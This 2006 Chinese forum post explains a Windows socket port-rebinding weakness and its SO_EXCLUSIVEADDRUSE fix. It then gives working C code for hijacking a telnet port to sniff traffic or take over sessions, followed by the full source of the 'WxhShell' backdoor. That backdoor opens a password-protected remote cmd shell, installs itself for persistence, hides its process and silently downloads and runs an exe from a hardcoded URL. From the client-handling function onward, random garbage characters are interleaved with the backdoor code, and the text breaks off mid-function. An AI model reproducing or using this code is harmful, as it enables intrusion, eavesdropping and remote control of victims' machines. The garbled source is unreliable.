[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; Vy)hDa[&
if(chr[0]==0xd || chr[0]==0xa) { Uu p(6`7
pwd=0; in%;Eqk
break; E_ucab-Fi
} adEJk
i++; Pt< s* (
} /uqu32;o
T5lQIr@a
// 如果是非法用户，关闭 socket ><?BqRm+
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q" @
} Bstk{&ew
h rN%
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V~{ _3YY
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Cq? :o<
xBnbF[
while(1) { {y^3> 7
@$@mqHI}
ZeroMemory(cmd,KEY_BUFF); cd@.zg'sYn
i^z`"3#LE
// 自动支持客户端 telnet标准 &x:JD1T}
j=0; Bo_ym36N
while(j<KEY_BUFF) { 1qdZc_x
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $\Lyi#<
cmd[j]=chr[0]; w2gf&Lc\
if(chr[0]==0xa || chr[0]==0xd) { ik1tidw
cmd[j]=0; eOlKbJU
break; yYJY;".H
} cSP*f0n,eo
j++; "&YYO#YO
} i^Ut015q%
[G|mY6F^
// 下载文件 &rq{v!=7
if(strstr(cmd,"http://")) { A/*%J74v
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'w/qcD-
if(DownloadFile(cmd,wsh)) =5]n\"/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =J'P.
else aC=['a>)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C*Vd-U
} LC69td&
else { .#6MQJ]OH
x4?10f(9=
switch(cmd[0]) { H-t|i
~9o6 W",
// 帮助 vn').\,P2O
case '?': { GY!C|7kN
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `H%G3M0a
break; R'K/t|MC
} w_-+o^
// 安装 >wON\N0V_
case 'i': { 3fS}:!sQ
if(Install()) {eZ{]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D#rrW?-z
else S\C*iGeqJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Un=a fX?j
break; a' FN 3
} Fe=8O ^\
// 卸载 dDcZ!rRaL@
case 'r': { UGKaOol.
if(Uninstall()) $g8}^1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @"87F{!
else o \L!(hm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NlPS#
break; Ww9;UP'G
} eD#XDK
// 显示 wxhshell 所在路径 70gg4BS
case 'p': { i?}>.$j
char svExeFile[MAX_PATH]; dSK0h(8
strcpy(svExeFile,"\n\r"); 7k8n@39?
strcat(svExeFile,ExeFile); W Ox_y,
send(wsh,svExeFile,strlen(svExeFile),0); PXYE;*d(
break; `u'dh{,gE
} ^$?qT60%d|
// 重启 4MvC]_&
case 'b': { [~%`N*G
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &y.dmW
if(Boot(REBOOT)) gQVBA %
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H#(<-)j0_
else { 3(_!`0#F%
closesocket(wsh); N+Sq}hI
ExitThread(0); s@@1 *VQ
} Z5)eREi=
break; !k&)EWP?
} D(XqyN-P
// 关机 4br6$
case 'd': { Z6s5M{mE
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %$X\"
if(Boot(SHUTDOWN)) HYClm|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <|F-Dd
else { YMzBAf
closesocket(wsh); /&s}<BMHU
ExitThread(0); zJl_ t0
} %J P!{mqj
break; s-D?)
} 4M`Xrfwm'[
// 获取shell __\P`S_
case 's': { JZx%J)
CmdShell(wsh); UzQ$B>f
closesocket(wsh); \r-N(;m
ExitThread(0); rK=6]j(K
break; ;93KG4a
} zixEMi[8
// 退出 .h8M
case 'x': { d6b.zP
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /tC9G@Hl
CloseIt(wsh); Yn<)k_kp
break; /$`;r2LG
} /H&aMk}J@y
// 离开 Auac>')&Q
case 'q': { YmDn+VIg
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^ KOzCLC
closesocket(wsh); n7iE8SK|k
WSACleanup(); $ I<|-]u
exit(1); bXvbddu)}
break; jT^!J+?6K+
} _Ex?Xk
} VO-784I
} I~RcOiL)
V/-MIH7SF
// 提示信息 ~e^)q>Lb7(
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3+ asP&n
} !%62Phai
} 1v]t!}W:6
dq1TRFu
return; Mjw[:70
} |[WL2<
F@^N|;_2
// shell模块句柄 NcM3P G
int CmdShell(SOCKET sock) LDX y}hm)
{ MPG+B/P&
STARTUPINFO si; uu@<&.r\C
ZeroMemory(&si,sizeof(si)); n)CH^WHL&
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dqz1xQ1
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3_U\VGm
PROCESS_INFORMATION ProcessInfo; ybYXD?
char cmdline[]="cmd"; .f%vDBJS
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6vWii)O.D
return 0; ?o>6S EGW
} B[7A
=W|vOfy
// 自身启动模式 !ABLd|tP
int StartFromService(void) W U0UG$o`
{ Ej5^Y ?-6
typedef struct Xky@[Td*
{ ZmP1C`>
DWORD ExitStatus; -s33m]a;
DWORD PebBaseAddress; `W="g6(
DWORD AffinityMask; .W-=x,`hY4
DWORD BasePriority; 9Q=>MOB-
ULONG UniqueProcessId; #4lHaFq
ULONG InheritedFromUniqueProcessId; vhX-Qkt}
} PROCESS_BASIC_INFORMATION; +>^[W~[2
d4V 2[TX
PROCNTQSIP NtQueryInformationProcess; wvX"D0eVn
Sn0Xl3yr
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V"BVvSNu
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q>V?w gZ
yq!CWXZ2
HANDLE hProcess; x6jm-n
PROCESS_BASIC_INFORMATION pbi; '%:5axg?]
"LXXs0
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cS5w +`,L
if(NULL == hInst ) return 0; Zr5'TZ`$
*:(1K%g
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); svF*@(-P#
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )'w]YIv9
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e5FCqNip'
+6uOg,;
if (!NtQueryInformationProcess) return 0; 1RURZoL
~xP Szf
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Mi<*6j0
if(!hProcess) return 0; {~":;
?Z5$0-g'hU
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3SmqXPOw
rffVfw
CloseHandle(hProcess); `Nkx7Z~w:
0H;"5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XL=2wh
if(hProcess==NULL) return 0; >Zi|$@7t-
}`#j;H$i
HMODULE hMod; -v;iMEZ)
char procName[255]; >>/nuWdpO
unsigned long cbNeeded; O2/%mFS.
w6%l8+{R
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FLw[Mg:L
$cyLI+uz|
CloseHandle(hProcess); G1,Ro1
0m qSA
if(strstr(procName,"services")) return 1; // 以服务启动 >:="?'N5l!
D "JMSL4r
return 0; // 注册表启动 h<t<]i'
} cKaL K#~
n\~"Wim<b
// 主模块 AEBw#v!,o
int StartWxhshell(LPSTR lpCmdLine) t201ud2$
{ {9y9Kr|(P:
SOCKET wsl; m~b#:4D3
BOOL val=TRUE; :0i#=ODR
int port=0; +3(CGNE
struct sockaddr_in door; Rt*-#`I $
rCV$N&rK
if(wscfg.ws_autoins) Install(); (\5<GCW-
'5&B~ 1&
port=atoi(lpCmdLine); {'cs![U
5<0Yh#_
if(port<=0) port=wscfg.ws_port; Ke'YM{
p?EEox
WSADATA data; U`},)$
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e!O &~#'h}
p8E;[
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >EPaZp6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b@UF PE5jy
door.sin_family = AF_INET; B{=,VwaP_
door.sin_addr.s_addr = inet_addr("127.0.0.1"); #)IdJ]
door.sin_port = htons(port); + xkMW%e<
@pyA;>U
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F<XD^sO
closesocket(wsl); 476M` gA
return 1; @DjG?yLK$
} hNgcE,67q
M$E8:
if(listen(wsl,2) == INVALID_SOCKET) { <ZN) /,4PS
closesocket(wsl); CVn;RF6
return 1; IrVM|8vT3
} ?L.p9o-S0
Wxhshell(wsl); vM$#m1L?
WSACleanup(); J[Ylo&w3
6r?cpJV{
return 0; W"DxIy
)xXrs^
} FZLzu
0Mzc1dG:
// 以NT服务方式启动 /-cX(z 7
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dh7)N}2
{ 8wNU2yH+D
DWORD status = 0; 2T{-J!k
DWORD specificError = 0xfffffff; ESXU, qK]v
|R|U z`
serviceStatus.dwServiceType = SERVICE_WIN32; kgib$t_7
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3]5&&=#
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xHR+((
serviceStatus.dwWin32ExitCode = 0; 1Rb<(%
serviceStatus.dwServiceSpecificExitCode = 0; 'FvhzGn9Q
serviceStatus.dwCheckPoint = 0; -t706(#k
serviceStatus.dwWaitHint = 0; gEe W1:AB
2+hfbFu,1
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mqfEs0~I
if (hServiceStatusHandle==0) return; 4w/t$lR
V-o`L`(F`
status = GetLastError(); znDtM1sLeV
if (status!=NO_ERROR) -n$rKEC4
{ NU6Kh7
serviceStatus.dwCurrentState = SERVICE_STOPPED; d1LTyzLr
serviceStatus.dwCheckPoint = 0; >@92K]J
serviceStatus.dwWaitHint = 0; 4wEpyQ|L
serviceStatus.dwWin32ExitCode = status; )}g4Rvr
serviceStatus.dwServiceSpecificExitCode = specificError; z jNjmC!W
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hi 0df3t
return; ]9l%
} cbHn\m)J,
u\& [@v
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3[g++B."pC
serviceStatus.dwCheckPoint = 0; oKqFZ,m[
serviceStatus.dwWaitHint = 0; f;; S
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1*Fvx-U'
} bT6)(lm
I3y4O^?
// 处理NT服务事件，比如：启动、停止 f4;8?
VOID WINAPI NTServiceHandler(DWORD fdwControl) 38.J:?Q
{ ~k<31 ez
switch(fdwControl) hF%~iqd
{ -JW6@L@
case SERVICE_CONTROL_STOP: NCh(-E
serviceStatus.dwWin32ExitCode = 0; +!Gr`&w*)
serviceStatus.dwCurrentState = SERVICE_STOPPED; }\qdow-
serviceStatus.dwCheckPoint = 0; {~{s=c0
serviceStatus.dwWaitHint = 0; ReGb.pf
{ sYW)h$p;D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .KMi)1L)
} HC`3AQ12!&
return; blkJm9]v
case SERVICE_CONTROL_PAUSE: zbKW.u]v
serviceStatus.dwCurrentState = SERVICE_PAUSED; vpw&"?T
break; r{3`zqo
case SERVICE_CONTROL_CONTINUE: 9%k.GE
serviceStatus.dwCurrentState = SERVICE_RUNNING; uz2s-,
break; :^L]Da3
case SERVICE_CONTROL_INTERROGATE: D{d$L9.
break; 8qLgB
}; x;]{ 8#-z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $%"}N_M
} QKkr~?sTO
Tsp-]-)
// 标准应用程序主函数 JF\viMfR
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4E(5Ccb
{ s7.*o@G
-ZON']|<}k
// 获取操作系统版本 YD.^\E4o
OsIsNt=GetOsVer(); g>-[-z$E3
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4gNRln-
nAC#_\
// 从命令行安装 ._nKM5.
if(strpbrk(lpCmdLine,"iI")) Install(); {mitF
Oydmq,sVe(
// 下载执行文件 ? UDvFQ&
if(wscfg.ws_downexe) { k0uwG'(z9
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6N)1/=)
WinExec(wscfg.ws_filenam,SW_HIDE); ~,1q :Kue
